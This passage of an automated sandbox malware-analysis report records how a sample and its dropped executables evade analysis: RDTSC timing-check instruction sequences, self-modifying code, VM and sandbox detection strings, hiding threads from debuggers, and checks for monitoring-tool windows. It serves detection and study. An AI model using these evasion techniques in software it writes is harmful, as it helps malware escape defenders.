Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD0A1E second address: AD0A31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F4E24C29F76h 0x0000000a popad 0x0000000b jc 00007F4E24C29F82h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD0A31 second address: AD0A3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F4E24C349D6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD0A3B second address: AD0A41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD0A41 second address: AD0A9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c js 00007F4E24C349DCh 0x00000012 jno 00007F4E24C349D6h 0x00000018 jnp 00007F4E24C349DEh 0x0000001e jmp 00007F4E24C349DDh 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F4E24C349E1h 0x0000002a jmp 00007F4E24C349E2h 0x0000002f rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD0D6E second address: AD0D74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD0D74 second address: AD0D7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD0D7F second address: AD0D83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD0D83 second address: AD0D91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F4E24C349DCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD0EE5 second address: AD0EE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AC9523 second address: AC953D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349DCh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007F4E24C349E2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AC953D second address: AC9543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AC9543 second address: AC954B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD1AD9 second address: AD1AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E24C29F7Fh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD1AEC second address: AD1AF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD1C7D second address: AD1CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push edx 0x0000000a pop edx 0x0000000b jo 00007F4E24C29F76h 0x00000011 popad 0x00000012 jbe 00007F4E24C29F7Ch 0x00000018 popad 0x00000019 jc 00007F4E24C29F8Eh 0x0000001f jnp 00007F4E24C29F78h 0x00000025 push eax 0x00000026 pop eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD1CAE second address: AD1CB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD1E2D second address: AD1E31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AD66B0 second address: AD66CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jl 00007F4E24C349DEh 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: ADE397 second address: ADE3A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E24C29F7Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: ADE3A9 second address: ADE3B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: ADE3B5 second address: ADE3C5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4E24C29F76h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: ADE3C5 second address: ADE3C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AA30BF second address: AA30C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: ADD768 second address: ADD774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F4E24C349D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: ADD774 second address: ADD788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F4E24C29F7Bh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: ADD788 second address: ADD78C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: ADD907 second address: ADD90D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: ADD90D second address: ADD91B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jns 00007F4E24C349D6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: ADDA75 second address: ADDAC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4E24C29F83h 0x00000009 pop edx 0x0000000a jmp 00007F4E24C29F7Dh 0x0000000f jmp 00007F4E24C29F7Dh 0x00000014 push esi 0x00000015 jmp 00007F4E24C29F87h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: ADDC40 second address: ADDC44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: ADDC44 second address: ADDC70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C29F88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F4E24C29F78h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: ADDC70 second address: ADDC74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: ADDC74 second address: ADDC80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: ADE1E3 second address: ADE1E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: ADE1E9 second address: ADE1ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: ADE1ED second address: ADE1FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: ADE1FA second address: ADE212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F4E24C29F76h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jl 00007F4E24C29FABh 0x00000013 pushad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: ADE212 second address: ADE227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F4E24C349D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F4E24C349D6h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AE0565 second address: AE0569 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AE0602 second address: AE062F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 jmp 00007F4E24C349E0h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push ebx 0x00000011 js 00007F4E24C349D8h 0x00000017 pushad 0x00000018 popad 0x00000019 pop ebx 0x0000001a mov eax, dword ptr [eax] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AE062F second address: AE0633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AE0633 second address: AE064A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C349E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AE064A second address: AE067D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4E24C29F85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F4E24C29F84h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AE067D second address: AE0687 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F4E24C349D6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	RDTSC instruction interceptor: First address: AE0687 second address: AE068B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Special instruction interceptor: First address: 67613A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Special instruction interceptor: First address: 844A03 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Special instruction interceptor: First address: 8A6E4E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Special instruction interceptor: First address: 93FA78 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Special instruction interceptor: First address: 93FBB8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Special instruction interceptor: First address: AD7213 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Special instruction interceptor: First address: AFC5A5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Special instruction interceptor: First address: 7CED79 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Special instruction interceptor: First address: 7CECF2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Special instruction interceptor: First address: 9F7579 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F2ED79 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F2ECF2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1157579 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe

Code function: 5_2_0487017C rdtsc

5_2_0487017C

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\Desktop\o0cabS0OQn.exe TID: 932	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe TID: 4268	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe TID: 5476	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe TID: 916	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe TID: 5428	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2020	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5328	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5168	Thread sleep count: 252 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5168	Thread sleep time: -7560000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3720	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5168	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\o0cabS0OQn.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: skotes.exe, skotes.exe, 00000007.00000002.2333644538.00000000010AD000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000009.00000002.2935600854.00000000010AD000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: skotes.exe, 00000009.00000002.2936960867.0000000001478000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: ECPOM47708SKW2N887NP33WQCGSG.exe, 00000005.00000002.2293401362.0000000000548000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: o0cabS0OQn.exe, 00000000.00000003.1995448463.0000000001036000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.2111198353.0000000001036000.00000004.00000020.00020000.00000000.sdmp, o0cabS0OQn.exe, 00000000.00000003.1914747251.0000000001036000.00000004.00000020.00020000.00000000.sdmp, E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.0000000001434000.00000004.00000020.00020000.00000000.sdmp, E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.0000000001464000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000009.00000002.2936960867.00000000014A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2165224725.0000000001464000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: E7IQS7PV5U0JQO6HRY65DRS.exe, 00000004.00000002.2164051928.0000000000AB6000.00000040.00000001.01000000.00000006.sdmp, ECPOM47708SKW2N887NP33WQCGSG.exe, 00000005.00000002.2295240930.000000000094D000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000006.00000002.2335716041.00000000010AD000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000007.00000002.2333644538.00000000010AD000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000009.00000002.2935600854.00000000010AD000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: skotes.exe, 00000009.00000002.2936960867.00000000014A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWms

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_6-10084
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_6-10063
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_6-10118
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_6-10101
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_7-10065
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_7-10120
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_7-10086
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_7-10103

Source: C:\Users\user\Desktop\o0cabS0OQn.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\o0cabS0OQn.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\o0cabS0OQn.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E7IQS7PV5U0JQO6HRY65DRS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ECPOM47708SKW2N887NP33WQCGSG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
